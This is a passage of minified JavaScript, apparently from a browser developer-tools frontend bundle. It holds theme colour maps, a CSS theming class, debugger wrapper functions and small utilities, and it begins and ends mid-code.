WTEXT>","plugin-network-tabpane-value-color":"<COLOR_WINDOWTEXT>","plugin-network-toolbar-button-hover-text-color":"<COLOR_WINDOWTEXT>","plugin-network-toolbar-button-popup-text-color":"#FFFFFF","plugin-network-toolbar-button-pressed-text-color":"<COLOR_HOTLIGHT>","plugin-network-toolbar-button-text-color":"<COLOR_WINDOWTEXT>","plugin-network-toolbar-button-popup-background-color":"<COLOR_HIGHLIGHT>","plugin-resources-grid-cell-even-background-color":"<COLOR_WINDOW>","plugin-resources-grid-cell-odd-background-color":"<COLOR_WINDOW>","plugin-resources-grid-hborder":"<COLOR_HIGHLIGHT>","plugin-resources-grid-vborder":"<COLOR_HIGHLIGHT>","plugin-resources-grid-header-hborder":"<COLOR_HIGHLIGHT>","plugin-resources-grid-active-cell-background":"<COLOR_HOTLIGHT>","plugin-resources-grid-active-cell-border":"<COLOR_HOTLIGHT>","plugin-resources-grid-active-row-background":"<COLOR_WINDOW>","plugin-resources-grid-editable-cell-background":"<COLOR_WINDOW>","plugin-resourcesView-background-color":"<COLOR_WINDOW>","plugin-theme-color":"#FFFF00","plugin-experiment-switch-inner-before-background-color":"<COLOR_WINDOW>","plugin-experiment-switch-inner-after-background-color":"<COLOR_WINDOW>","plugin-experiment-switch-inner-after-color":"<COLOR_WINDOW>","plugin-experiment-on-off-switch-border-color":"<COLOR_WINDOWFRAME>","plugin-experiment-on-off-switch-color":"<COLOR_WINDOWTEXT>","plugin-experiment-deleted-color":"<COLOR_WINDOWTEXT>","monaco-gotoline-background-color":"<COLOR_WINDOW>","monaco-gotoline-focused-background-color":"<COLOR_WINDOW>","monaco-gotoline-selected-background-color":"<COLOR_WINDOW>","monaco-gotoline-hover-background-color":"<COLOR_WINDOW>"},l=JSON.stringify(s),c={"plugin-font-family":'"Segoe UI"',"plugin-font-size":"12px","plugin-font-weight":"normal","plugin-color":"#1E1E1E","plugin-contextmenu-active-color":"#D0E1F2","plugin-contextmenu-background-color":"#F0F0F0","plugin-contextmenu-border-color":"#979797","plugin-contextmenu-color":"#000000","plugin-contextmenu-hover-color":"#D0E1F2","plugin-contextmenu-hover-text-color":"#000000","plugin-contextmenu-inactive-text-color":"#6D6D6D","plugin-contextmenu-separator-color":"#D7D7D7","plugin-contextmenu-active-border-color":"#78AEE4","plugin-contextmenu-inactive-border-color":"#AEAEAE","plugin-contextmenu-inactive-background-color":"#E1E1E1","plugin-contextmenu-checkbox-border-color":"#25A1DB","plugin-contextmenu-checkbox-background-color":"#C0DDEA","plugin-contextmenu-checkbox-icon":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAOJJREFUeNpi/P//PwM1ARMDlcEINJAFm+DBe69xxtTTm3fBtLS6MoO9kigjRS788+ELw+SmIoaa7CiG49u2Ue7l2X1NDC9fviAvDLcumAN2EQwcWL2c4dSxg2C2o6sXg6WXF3aNoISNjpPSsv8rKir+d3Fx/b/n7L3/S7cdB/NhYgfuvgJjbHqxRoqqrinD/t3bGO7evcPQUZ7O8OIFxJvc3DwMFZ0zSfcyyDsgb4EAyNCvXyFer+yaxcAiwENeGMaV18MNBYG0onpwUiErHSIbysEjAHc1MYBxtLQZAQYCBBgALn5ztQPAh0IAAAAASUVORK5CYII=","plugin-contextmenu-menuitem-background-image":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA9JREFUeNpivn79OkCAAQAFGgKJahd4MAAAAABJRU5ErkJggg==","plugin-background-color":"#FFFFFF","plugin-border-color":"#CCCEDB","plugin-box-shadow-color":"#ADADAD","plugin-inactive-color":"#A2A4A5","plugin-link-color":"#0E70C0","plugin-link-hover-color":"#007ACC","plugin-link-active-color":"#007ACC","plugin-link-active-selected-color":"#007ACC","plugin-highlight-color":"#1E1E1E","plugin-word-highlight-color":"#1E1E1E","plugin-word-highlight-strong-color":"rgba(249, 206, 130, 0.7)","plugin-highlight-border-color":"transparent","plugin-highlight-background-color":"#3399FF","plugin-table-border-color":"#F0F0F0","plugin-scrollbar-background-color":"#E8E8EC","plugin-scrollbar-face-color":"#D0D1D7","plugin-select-option-background-color":"#FFFFFF","plugin-select-option-color":"#1E1E1E","plugin-select-option-checked-background-color":"rgba(0, 122, 204, 0.2)","plugin-select-option-checked-border-color":"rgba(0, 122, 204, 0.2)","plugin-select-option-checked-foreground-color":"#1E1E1E","plugin-select-option-hover-background-color":"#D9D9D9","plugin-select-option-hover-border-color":"#D9D9D9","plugin-select-option-hover-foreground-color":"#1E1E1E","plugin-select-border-color":"#CCCEDB","plugin-select-background-color":"#FFFFFF","plugin-select-foreground-color":"#1E1E1E","plugin-select-hover-background-color":"#FFFFFF","plugin-select-hover-border-color":"#007ACC","plugin-select-hover-foreground-color":"#1E1E1E","plugin-textbox-disabled-background-color":"#EFEFF2","plugin-textbox-color":"#1E1E1E","plugin-textbox-background-color":"#FFFFFF","plugin-textbox-border-color":"#ADADAD","plugin-tooltip-background-color":"#FFFFFF","plugin-tooltip-border-color":"#767676","plugin-tooltip-text-color":"#575757","plugin-treeview-content-inactive-selected-background-color":"#D9D9D9","plugin-treeview-content-inactive-selected-color":"#1E1E1E","plugin-treeview-content-selected-background-color":"#CCE4F5","plugin-treeview-content-selected-color":"#1E1E1E","plugin-treeview-content-selected-border-color":"#3399FF","plugin-treeview-content-background-color":"#FC9DEF5","plugin-treeview-content-mouseover-background-color":"#E2E2E2","plugin-treeview-content-mouseover-color":"#1E1E1E","plugin-treeview-hiddenElement-gutterGlyph-color":"#9e9d99","plugin-treeview-pseudoState-gutterGlyph-color":"#f4a742","plugin-searchcontrol-clear-hover-color":"#EA2E35","plugin-searchcontrol-selection-color":"#3399FF","plugin-searchcontrol-unfocused-watermark-text-color":"#717171","plugin-searchcontrol-unfocused-background-color":"#FFFFFF","plugin-searchcontrol-unfocused-border-color":"#CCCEDB","plugin-searchcontrol-mouseover-watermark-text-color":"#1E1E1E","plugin-searchcontrol-mouseover-background-background-color":"#FFFFFF","plugin-searchcontrol-mouseover-background-foreground-color":"#1E1E1E","plugin-searchcontrol-mouseover-border-color":"#007ACC","plugin-menucontrol-background-color":"#F9FAFC","plugin-pseudo-class-panel-disabled-color":"#717171","plugin-styles-deleted-item-color":"#717171","plugin-styles-changebar-add-color":"#00B294","plugin-styles-changebar-update-color":"#FF8C00","plugin-styles-changebar-remove-color":"#BA141A","vs-combo-box-popup-background-begin-color":"#E7E8EC","vs-combo-box-popup-border-color":"#CCCEDB","vs-command-bar-gradient-begin-color":"#EFEFF2","vs-command-bar-menu-separator-color":"#CCCEDB","vs-command-bar-mouse-down-background-begin-color":"#007ACC","vs-command-bar-mouse-down-background-end-color":"#007ACC","vs-command-bar-mouse-down-border-color":"#007ACC","vs-command-bar-mouse-over-background-begin-color":"#FEFEFE","vs-command-bar-mouse-over-background-middle1-color":"#FEFEFE","vs-command-bar-options-background-color":"#EFEFF2","vs-command-bar-selected-border-color":"#3399FF","vs-command-bar-text-inactive-color":"#A2A4A5","vs-command-bar-text-selected-color":"#1E1E1E","vs-designer-selection-dots-color":"#999999","vs-drop-down-background-color":"#FCFCFC","vs-drop-down-border-color":"#DBDDE6","vs-drop-down-button-mouse-over-background-color":"#DEDFE8","vs-drop-down-disabled-text-color":"#A2A4A5","vs-drop-down-mouse-over-background-begin-color":"#FFFFFF","vs-drop-down-mouse-over-border-color":"#DBDDE6","vs-drop-down-mouse-over-text-color":"#1E1E1E","vs-drop-down-popup-background-begin-color":"#E7E8EC","vs-drop-down-text-color":"#1E1E1E","vs-drop-shadow-background-color":"#000000","vs-file-preview-tab-background-color":"#C0C0C0","vs-file-preview-tab-hover-background-color":"#B064AB","vs-file-preview-tab-hover-text-color":"#FFFFFF","vs-file-preview-tab-selected-background-color":"#68217A","vs-file-preview-tab-selected-text-color":"#FFFFFF","vs-file-preview-tab-text-color":"#000000","vs-file-tab-button-hover-selected-active-border-color":"#1C97EA","vs-file-tab-hot-gradient-bottom-color":"#1C97EA","vs-file-tab-hot-text-color":"#FFFFFF","vs-file-tab-selected-gradient-bottom-color":"#007ACC","vs-file-tab-selected-text-color":"#FFFFFF","vs-file-tab-text-color":"#1E1E1E","vs-horizontal-resize-grip-color":"#CCCEDB","vs-main-window-button-down-color":"#007ACC","vs-main-window-button-down-glyph-color":"#FFFFFF","vs-main-window-button-hover-active-color":"#FFFFFF","vs-tool-window-background-color":"#F6F6F6","vs-tool-window-text-color":"#1E1E1E","vs-toolbox-background-color":"#F6F6F6","vs-tree-view-selected-item-inactive-color":"#CCCEDB","f12-header-background-color":"#1E1E1E","f12-header-background-inactive-color":"#B1B1B1","f12-header-badge-error-text-color":"rgba(255, 255, 255, 1)","f12-header-badge-error-selected-text-color":"rgba(30, 30, 30, 1)","f12-header-logo-text-color":"#999999","f12-header-disabled-text-color":"#ABABAC","f12-header-button-selected-border-color":"#717171","f12-header-divider-color":"#717171","f12-header-tab-background-color":"#1E1E1E","f12-header-tab-text-color":"#FFFFFF","f12-header-tab-selected-background-color":"#F3F3F3","f12-header-tab-selected-text-color":"#000000","f12-header-tab-hover-background-color":"#414141","f12-header-tab-hover-text-color":"#FFFFFF","f12-header-button-active-background-color":"#414141","f12-header-button-hover-background-color":"#414141","f12-toolbar-background-color":"#F3F3F3","f12-toolbar-button-border-hover-color":"transparent","f12-toolbar-button-hover-color":"#D9EBF7","f12-toolbar-button-hover-text-color":"#1E1E1E","f12-toolbar-button-pressed-color":"#B2D7F0","f12-toolbar-button-selected-border-color":"#3399FF","f12-toolbar-button-selected-color":"#F0F7FC","f12-toolbar-button-selected-text-color":"#1E1E1E","f12-toolbar-border-color":"#E5E6ED","f12-intellisense-hover-color":"#1E1E1E","f12-intellisense-hover-background-color":"#D9D9D9","f12-intellisense-checked-color":"#1E1E1E","f12-intellisense-checked-background-color":"rgba(0, 122, 204, 0.2)","f12-header-popup-hover":"#e2e2e2","f12-header-popup-border-color":"#3399FF","diagnostics-host-border":"#CCCEDB","diagnostics-host-graph-cursor":"#717171","diagnostics-host-graph-line":"#CCCEDB","diagnostics-host-graph-scale":"#CCCEDB","diagnostics-host-ruler-slider":"#1E1E1E","diagnostics-host-ruler-slider-active":"#007ACC","diagnostics-host-ruler-tickmark":"#CCCEDB","diagnostics-host-swimlane-border":"#CCCEDB","plugin-memory-drop-down-button":"#EEEEEE","plugin-memory-drop-down-button-hover":"#D9EBF7","plugin-memory-snapshot-button":"#FFFFFF","plugin-memory-snapshot-button-active":"#B2D7F0","plugin-memory-snapshot-button-active-text":"#FFFFFF","plugin-memory-snapshot-button-border":"#CCCEDB","plugin-memory-snapshot-button-border-active":"#B2D7F0","plugin-memory-snapshot-button-border-hover":"#D9EBF7","plugin-memory-snapshot-button-disabled":"#EFEFF2","plugin-memory-snapshot-button-disabled-text":"#999999","plugin-memory-snapshot-button-hover":"#D9EBF7","plugin-memory-snapshot-button-hover-text":"#0E70C0","plugin-memory-snapshot-diff-added-text":"#4E8400","plugin-memory-snapshot-diff-modified-text":"#00829C","plugin-memory-snapshot-messages-border":"#E5E6ED","plugin-memory-snapshot-tile":"#FFFFFF","plugin-memory-snapshot-tile-baseline-text":"#999999","plugin-memory-snapshot-tile-border":"#D4D4D4","plugin-memory-snapshot-tile-error-text":"#FF0000","plugin-memory-snapshot-tile-header":"#EFEFF2","plugin-memory-tab-header":"#EEEEEE","plugin-memory-tab-text":"#444444","plugin-memory-tab-hover":"#EEEEEE","plugin-memory-tab-hover-text":"#007ACC","plugin-perftools-detail-pane":"#f9f9f9","plugin-perftools-drop-down-button-focus":"#F0F7FC","plugin-perftools-drop-down-button-focus-border":"#3399FF","plugin-perftools-focusdots":"#999999","plugin-perftools-grid-column-sizer":"#CCCEDB","plugin-perftools-grid-border-color":"#1E1E1E","plugin-perftools-grid-header-hover":"#E5F1FA","plugin-perftools-grid-header-hover-text":"#717171","plugin-perftools-grid-header-text":"#717171","plugin-perftools-grid-groupline-color":"#B6B6B6","plugin-perftools-list-item-selected-active-background-color":"rgba(0, 103, 184, 0.1)","plugin-perftools-menu":"#F9FAFC","plugin-perftools-menu-border":"#3399FF","plugin-perftools-menu-drop-shadow":"#ADADAD","plugin-perftools-menu-focus":"#CCE4F5","plugin-perftools-menu-focus-text":"#1E1E1E","plugin-perftools-menu-hover":"#e2e2e2","plugin-perftools-menu-hover-text":"#1E1E1E","plugin-perftools-progress":"#3399FF","plugin-perftools-splitter":"#CCCEDB","plugin-perftools-treeview-content-mouseover-background-color":"#E2E2E2","plugin-perftools-treeview-content-mouseover-color":"#1E1E1E","plugin-perftools-treeview-content-selected-background-color":"#CCE4F5","plugin-perftools-treeview-content-selected-color":"#1E1E1E","plugin-perftools-watermark-text":"#717171","plugin-responsiveness-drop-down-button-hover":"#D9EBF7","plugin-responsiveness-graph-border":"#CCCEDB","plugin-subheading-color":"#717171","plugin-font-console":'"Consolas"',"plugin-font-console-color":"#1E1E1E","plugin-font-console-background-color":"#FFFFFF","plugin-font-console-output-color":"#1E1E1E","plugin-font-console-output-background-color":"#FFFFFF","plugin-font-console-input-color":"#0000FF","plugin-font-console-input-background-color":"#FFFFFF","plugin-font-console-inputarea-color":"#1E1E1E","plugin-font-console-inputarea-background-color":"#EFEFF2","plugin-font-console-info-color":"#006400","plugin-font-console-info-background-color":"#FFFFFF","plugin-font-console-warning-color":"#606060","plugin-font-console-warning-background-color":"#FFFFFF","plugin-font-console-error-color":"#FF0000","plugin-font-console-error-background-color":"#FFFFFF","plugin-font-editor":'"Consolas"',"plugin-font-editor-color":"#1E1E1E","plugin-font-editor-background-color":"#FFFFFF","plugin-font-editor-selected-background-color":"#007ACC","plugin-font-editor-selected-border-color":"#FFFFFF","plugin-font-editor-collapse-adornment-color":"#B6B6B6","plugin-font-editor-keyword-color":"#0000FF","plugin-font-editor-keyword-background-color":"#FFFFFF","plugin-font-editor-string-color":"#A31515","plugin-font-editor-string-background-color":"#FFFFFF","plugin-font-editor-number-color":"#A31515","plugin-font-editor-number-background-color":"#FFFFFF","plugin-font-editor-regexp-color":"#811F3F","plugin-font-editor-regexp-background-color":"#FFFFFF","plugin-font-editor-symbol-color":"#2B91AF","plugin-font-editor-symbol-background-color":"#FFFFFF","plugin-font-editor-identifier-color":"#001188","plugin-font-editor-literal-color":"#E00000","plugin-font-editor-comment-color":"#006400","plugin-font-editor-html-tag-color":"#0000FF","plugin-font-editor-html-tag-background-color":"#FFFFFF","plugin-font-editor-html-element-color":"#800000","plugin-font-editor-html-element-background-color":"#FFFFFF","plugin-font-editor-html-comment-color":"#006400","plugin-font-editor-html-comment-background-color":"#FFFFFF","plugin-font-editor-html-attribute-name-color":"#CC0000","plugin-font-editor-html-attribute-name-background-color":"#FFFFFF","plugin-font-editor-html-attribute-value-color":"#0000FF","plugin-font-editor-html-attribute-value-background-color":"#FFFFFF","plugin-font-editor-html-operator-color":"#006400","plugin-font-editor-html-operator-background-color":"#FFFFFF","plugin-font-editor-css-name-color":"#FF0000","plugin-font-editor-css-name-background-color":"#FFFFFF","plugin-font-editor-css-value-color":"#0000FF","plugin-font-editor-css-value-background-color":"#FFFFFF","plugin-font-editor-css-selector-color":"#880000","plugin-font-editor-css-selector-background-color":"#FFFFFF","plugin-font-editor-margin-color":"#2B91AF","plugin-font-editor-margin-background-color":"#E6E7E8","plugin-font-editor-instruction-pointer-background-color":"#FFEE62","plugin-font-editor-breakpoint-background-color":"#963A46","plugin-font-editor-erroradornment-color":"#FFFFFF","plugin-font-editor-erroradornment-background-color":"#BA141A","plugin-font-editor-search-result-background-color":"#F6B94D","plugin-font-editor-current-statement-color":"#B800B8","plugin-font-editor-current-statement-background-color":"#FFE3FF","plugin-font-editor-text-spotlight-background-color":"#E8A277","plugin-editor-scrollbar-marker-instruction-pointer-color":"#FF8C00","plugin-editor-scrollbar-marker-breakpoint-color":"#BA141A","plugin-editor-scrollbar-marker-active-frame-color":"#00B294","plugin-editor-scrollbar-marker-search-result-color":"#0072C6","plugin-editor-selected-text-focus-background-color":"#ADD6FF","plugin-editor-selected-text-background-color":"#E5EBF1","plugin-elements-layout-offset-layer-bg-color":"#FFFFFF","plugin-elements-layout-margin-layer-bg-color":"#FFEFC7","plugin-elements-layout-border-layer-bg-color":"#D3E7BC","plugin-elements-layout-padding-layer-bg-color":"#FBD4C7","plugin-elements-layout-size-layer-bg-color":"#E2F3FB","plugin-debugger-grid-row-hover-background-color":"#E2E2E2","plugin-debugger-grid-row-selected-background-color":"#007ACC","plugin-debugger-grid-active-splitter-color":"#E5E6ED","plugin-debugger-tab-color":"#555555","plugin-debugger-tab-area-background-color":"#EEEEEE","plugin-debugger-button-active-background-color":"#33C1FF","plugin-debugger-button-toggled-on-background-color":"#D2E6FA","plugin-debugger-button-toggled-on-border-color":"#3399FF","plugin-debugger-watch-font-color":"#2B91AF","plugin-debugger-watch-overlay-color":"#FFFFFF","plugin-debugger-filepicker-background-color":"#F9FAFC","plugin-debugger-document-toolbar-seperator-color":"#9F9F9F","plugin-tab-header-background-color":"#EEEEEE","plugin-tab-header-active-background-color":"#EEEEEE","plugin-tab-header-hover-background-color":"#EEEEEE","plugin-tab-header-color":"#555555","plugin-tab-header-active-color":"#007acc","plugin-tab-header-hover-color":"#007acc","plugin-breadcrumb-border-color":"#CCCEDB","plugin-breadcrumb-background-color":"#EEEEEE","plugin-breadcrumb-hover-color":"#1E1E1E","plugin-breadcrumb-hover-background-color":"#A8CFF7","plugin-breadcrumb-selected-color":"#FFFFFF","plugin-breadcrumb-selected-background-color":"#0078D7","plugin-breadcrumb-tooltip-color":"#575757","plugin-breadcrumb-tooltip-background-color":"#ffffff","plugin-breadcrumb-tooltip-border-color":"#767676","plugin-network-grid-border-color":"#1e1e1e","plugin-network-grid-cell-even-background-color":"#ffffff","plugin-network-grid-cell-odd-background-color":"#fcfcfc","plugin-network-grid-column-header-background-color":"#eeeef2","plugin-network-grid-path-color":"#717171","plugin-network-grid-path-color-highlighted":"#717171","plugin-network-grid-path-color-selected":"#717171","plugin-network-grid-response-blur-cache-color":"#717171","plugin-network-grid-response-blur-error-color":"#E61E27","plugin-network-grid-response-cache-color":"#717171","plugin-network-grid-response-error-color":"#e61e27","plugin-network-grid-response-selected-cache-color":"#717171","plugin-network-grid-response-selected-error-color":"#E61E27","plugin-network-splitter":"#C8C8C8","plugin-network-tabpane-key-color":"#4F4F4F","plugin-network-tabpane-value-color":"#00008B","plugin-network-toolbar-button-hover-text-color":"#000000","plugin-network-toolbar-button-popup-text-color":"#000000","plugin-network-toolbar-button-pressed-text-color":"#1E1E1E","plugin-network-toolbar-button-text-color":"#000000","plugin-network-toolbar-button-popup-background-color":"#F0F7FC","plugin-resources-grid-cell-even-background-color":"#ffffff","plugin-resources-grid-cell-odd-background-color":"#fcfcfc","plugin-resources-grid-hborder":"#f3f3f3","plugin-resources-grid-vborder":"#EDEDED","plugin-resources-grid-header-hborder":"#CCCEDB","plugin-resources-grid-active-cell-background":"#99CCFF","plugin-resources-grid-active-cell-border":"#ADADAD","plugin-resources-grid-active-row-background":"#CCE4F5","plugin-resources-grid-editable-cell-background":"#FFFFFF","plugin-resourcesView-background-color":"#E6E7E8","plugin-theme-color":"#FFFFFF","plugin-experiment-switch-inner-before-background-color":"#2E8DEF","plugin-experiment-switch-inner-after-background-color":"#CCCCCC","plugin-experiment-switch-inner-after-color":"#333333","plugin-experiment-on-off-switch-border-color":"#FFFFFF","plugin-experiment-on-off-switch-color":"#000000","plugin-experiment-deleted-color":"#717171","monaco-gotoline-background-color":"#F6F6F6","monaco-gotoline-focused-background-color":"#DCEBFC","monaco-gotoline-selected-background-color":"#3399FF","monaco-gotoline-hover-background-color":"#F0F0F0"},u=JSON.stringify(c);var d=n(0),h=n(96),p=n(43);n.d(t,"b",function(){return f});n.d(t,"a",function(){return _});n.d(t,"d",function(){return v});n.d(t,"c",function(){return b});class m extends o.a{constructor(){super();this.isInitial=!1;this.hostFilePrefix="F12HOSTFILE__";this.f12ScriptURL=document.location.origin+"/23";this.f12ClassName="hostedF12";this.rgbaRegEx=/[^0-9]+/g;this.declarationRegEx=/^(\s*)([\w\-]+)\s*:\s*([^;^\{\*]+|url\([^\)]+\));\s*\/\*\s*\[([^\[\]]+)\]\s*\*\/(.*)$/gm;this.rgbaValueRegex=/\(([^\)]+)\)/;this.tokenNameRegex=/\s*([\{\}\w\-]*)/;this.rgbaOrHCOnlyFragmentRegex=/(?:\s+((?:rgba\s*\([^\)]+\))|(?:\!HCOnly)))?/;this.tokenRegEx=new RegExp("\\{"+this.tokenNameRegex.source+this.rgbaOrHCOnlyFragmentRegex.source+this.rgbaOrHCOnlyFragmentRegex.source+"\\s*\\}","igm");this.undefinedRegEx=/undefined|null/;this.tokenMap={};r.b.addEventListener("syscolorchanged",()=>{this.updateTheme()});this.addHostCss()}fireThemeReady(){this.dispatchEvent("themeReady")}async triggerInitialized(){this._manifest=this.loadManifest();this._loadedTheme=this.loadTheme(this._manifest,!1);if(r.b.utilities.isHighContrast()){const e=this.loadTheme(this._manifest,!0);await this.updateThemeHost(e.themeMap,!0,!0).then(()=>{this.dispatchEvent("themeinitialize")})}else await this.updateThemeHost(this._loadedTheme.themeMap,!0,!1).then(()=>{this.dispatchEvent("themeinitialize")})}triggerChanged(){this.dispatchEvent("themechanged",this._loadedTheme)}getCssFile(e){if(0===e.indexOf(this.hostFilePrefix)){const t=e.substr(this.hostFilePrefix.length);return Object(p.a)().readHostFileAsync(`../frontend/host/api/data/${t}`)}const t=this.getPathRelativeToDllRoot(e);return Object(p.a)().readHostFileAsync(t)}getValue(e){if(!this.tokenMap[e])throw new Error(Object(d.a)("JSPlugin.4002"));return this.tokenMap[e]}async updateThemeHost(e,t,n){if(!window.DAYTONA_OPTOUT){this.tokenMap=e;if(!this.tokenMap)throw new Error("JSPlugin.4001");this.isInitial=this.isInitial||t;if("complete"!==document.readyState){return new Promise(e=>{document.onreadystatechange=(()=>{"complete"===document.readyState&&e()})}).then(()=>{this.updateThemeHost(e,t,n)})}await this.processCssFiles(n)}}async processCssFiles(e){const t=document.querySelectorAll("[data-plugin-theme='true']");if(this.isInitial&&0===t.length){this.fireThemeReady();this.isInitial=!1}else for(let n=0;n<t.length;n++){const o=t[n],r=o.href?o.href:o.getAttribute("data-plugin-theme-href"),i=this.isInitial&&n===t.length-1,a={};for(const e of Array.from(o.attributes)){0===e.nodeName.indexOf("data-")&&(a[e.nodeName]=e.nodeValue)}await this.processCssFileContents(r,document,o,i,e,a)}}async processCssFileContents(e,t,n,o,r,i){return this.getCssFile(e).then(a=>{if(a){const o=this.tokenReplaceContents(a,r),s=t.createElement("style");s.setAttribute("data-plugin-theme","true");s.setAttribute("data-plugin-theme-href",e);if(i)for(const e in i)i.hasOwnProperty(e)&&s.setAttribute(e,i[e]);s.type="text/css";s.innerHTML=o;if(n){if(!n.parentNode)return;t.head.insertBefore(s,n);t.head.removeChild(n);s.id=n.id}else t.head.appendChild(s)}if(o){this.fireThemeReady();this.isInitial=!1}},e=>{if(o){this.fireThemeReady();this.isInitial=!1}throw new Error("JSPlugin.4003\r\n"+e.message+"\r\n"+e.stack)})}tokenReplaceContents(e,t){return e.replace(this.declarationRegEx,(e,n,o,r,i,a)=>{let s=0,l=i.replace(this.tokenRegEx,(e,n,o,r)=>{let i=!1;o&&"!HCONLY"===o.toUpperCase()?i=!0:r&&"!HCONLY"===r.toUpperCase()&&(i=!0);if(i&&void 0!==t&&!t)return null;s++;let a=this.tokenMap[n];const l=this.getRGBACandidate(o,r);if(l){const e=l.match(this.rgbaValueRegex);let t="1.0";e&&e.length>=1&&(t=e[0].replace(/\(|\)|\s/g,""));this.tempElement=this.tempElement||document.createElement("div");this.tempElement.style.backgroundColor=a;const n=this.tempElement.style.backgroundColor.split(",");if(3===n.length){const e=[];for(let t=0;t<3;t++)e.push(parseInt(n[t].replace(this.rgbaRegEx,""),10));this.tempElement.style.backgroundColor="rgba("+e.join(", ")+", "+t+")";a=this.tempElement.style.backgroundColor}}return a});(0===s||l.match(this.undefinedRegEx))&&(l=r);return n+o+": "+l+";"+a})}getRGBACandidate(e,t){return e&&null!==e.match(/rgba/i)?e:t&&null!==t.match(/rgba/i)?t:null}addHostCss(){const e=document.createElement("link");e.type="text/css";e.setAttribute("data-plugin-theme","true");e.setAttribute("data-necessary-for-tooltip","true");e.setAttribute("data-plugin-theme-href",this.hostFilePrefix+"f12.css");(document.head||document.body).appendChild(e);const t=document.getElementsByTagName("html");t.length>0&&t[0].classList.add(this.f12ClassName)}loadManifest(){const e=Object(h.c)();return e===a.c.popup?{}:Object(i.a)(e)}getPathRelativeToDllRoot(e){return 0===e.indexOf(this.f12ScriptURL)?e.replace(this.f12ScriptURL,".."):e}loadTheme(e,t){let n={};if(t){let e=l;const t=r.b.utilities.getHighContrastReplacements();for(const n in t)t.hasOwnProperty(n)&&(e=e.replace(new RegExp(n,"g"),t[n]));n=JSON.parse(e)}else{const e=u;n=JSON.parse(e)}if(e&&e.f12&&e.f12.themed_images){const o=e.f12.themed_images;this.addImagesToThemeMap(n,o,t,t)}return{PluginCss:"",themeMap:n}}async updateTheme(){if(r.b.utilities.isHighContrast()&&this._manifest){const e=this.loadTheme(this._manifest,!0);await this.updateThemeHost(e.themeMap,!1,!0).then(()=>{this.dispatchEvent("themechanged")})}else await this.updateThemeHost(this._loadedTheme.themeMap,!1,!1).then(()=>{this.dispatchEvent("themechanged")})}addImagesToThemeMap(e,t,n,o){for(const n in t)if(t.hasOwnProperty(n)&&t[n].bitmap_source){const o=Object(p.a)().getResourceIdFromRelativePath(t[n].bitmap_source);e[n]=o}}}let g;function f(){g||(g=new m).triggerInitialized();return g}function _(e,t){return f().addEventListener(e,t)}function v(e,t){return f().removeEventListener(e,t)}function b(e){return f().getValue(e)}},function(e,t,n){e.exports=n(226)()},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"e",function(){return i});n.d(t,"d",function(){return a});n.d(t,"j",function(){return s});n.d(t,"b",function(){return l});n.d(t,"f",function(){return c});n.d(t,"h",function(){return u});n.d(t,"g",function(){return d});n.d(t,"i",function(){return h});n.d(t,"c",function(){return p});var o,r=n(10);!function(e){e[e.UserCode=0]="UserCode";e[e.Library=1]="Library";e[e.Unrelated=2]="Unrelated";e[e.Unsure=-1]="Unsure"}(o||(o={}));function i(){return Object(r.g)().call("ms:header","jmcIsJMCAvailable",[])}function a(e){return Object(r.g)().call("ms:header","jmcGetJMCTypeForUrl",[e])}function s(e,t){return Object(r.g)().call("ms:header","jmcSetJMCTypeForUrl",[e,t])}function l(){return Object(r.g)().call("ms:header","jmcGetCurrentRules",[])}function c(){return Object(r.g)().call("ms:header","jmcLoad",[])}function u(){return Object(r.g)().call("ms:header","jmcSave",[])}function d(e){return Object(r.g)().call("ms:header","jmcLoadFromJSON",[e])}function h(){return Object(r.g)().call("ms:header","jmcSaveToJSON",[])}function p(){return Object(r.g)().call("ms:header","jmcGetError",[])}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});function o(e,t){const n=window,o=e.split(".").reduce((e,t)=>{let n=e;void 0===e[t]&&(e[t]={});return n=e[t]},n);Object.getOwnPropertyNames(t).forEach(e=>{o[e]=t[e]})}},function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"a",function(){return a});n.d(t,"e",function(){return s});n.d(t,"d",function(){return c});n.d(t,"f",function(){return u});n.d(t,"c",function(){return h});const o=new WeakMap;function r(e){let t=!1;return(...n)=>{if(!t){t=!0;window.requestAnimationFrame(()=>{t=!1;e(...n)})}}}function i(e){o.delete(e.callback);e.callback.apply(e.thisArg,e.args)}function a(e,t,n,...r){let a;if(o.has(e)){a=o.get(e);clearTimeout(a.timeoutId)}else{a={callback:e,thisArg:t,args:[],timeoutId:-1};o.set(e,a)}a.args=r;a.timeoutId=setTimeout(i,n,a)}function s(e,t,n,o){let r,i,a=n||0,s=!0,l=!0,c=0,u=null;o&&"boolean"==typeof o.leading&&(s=o.leading);o&&"boolean"==typeof o.trailing&&(l=o.trailing);let d=n=>{let o=(new Date).getTime(),h=o-c,p=s?a-h:a;if(h>=a&&(!n||s)){c=o;if(u){clearTimeout(u);u=null}r=e.apply(t,i)}else null===u&&l&&(u=setTimeout(d,p));return r};return(...e)=>{i=e;return d(!0)}}function l(e,t){let n=!1;return(...o)=>{if(!n){n=!0;e.apply(t,o)}}}function c(e){let t=!1,n=!1,o=void 0;return(...r)=>{if(!t)try{o=e(...r);t=!0}catch(e){n=e;o=void 0}if(n)throw n;return o}}function u(e,t){return l(()=>{window.setImmediate(e)},t)}let d=0;function h(){return"x"+ ++d}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(12);class r{constructor(...e){if(e.length>=2&&e[0]instanceof r){var t,n=e[0];if(e[1]instanceof r)t=e[1];else{if(null===e[1]||void 0===e[1])throw new TypeError("Missing required argument: uri.");t=new r(String(e[1]),0)}r.mergeCore(n,t,this)}else{if(!(e.length>=1&&null!==e[0]&&void 0!==e[0]))throw new TypeError("Argument not optional.");var o=String(e[0]),i=1;if(e.length>=2){if("number"!=typeof e[1])throw new TypeError("Invalid argument: kind.");i=e[1]}r.parseCore(o,i,this)}}get isRooted(){return this.isAbsolute||/^\//.test(this.pathname)}get isAbsolute(){return(this._scheme!==r.UriSchemeFile||"string"!=typeof this._pathname||!/^[\\/]?\.{1,2}([\\/]|$)/.test(this._pathname))&&!!this._scheme}get isFile(){return this._scheme===r.UriSchemeFile}get isUnc(){return this.isFile&&!!(4&this._components)}get 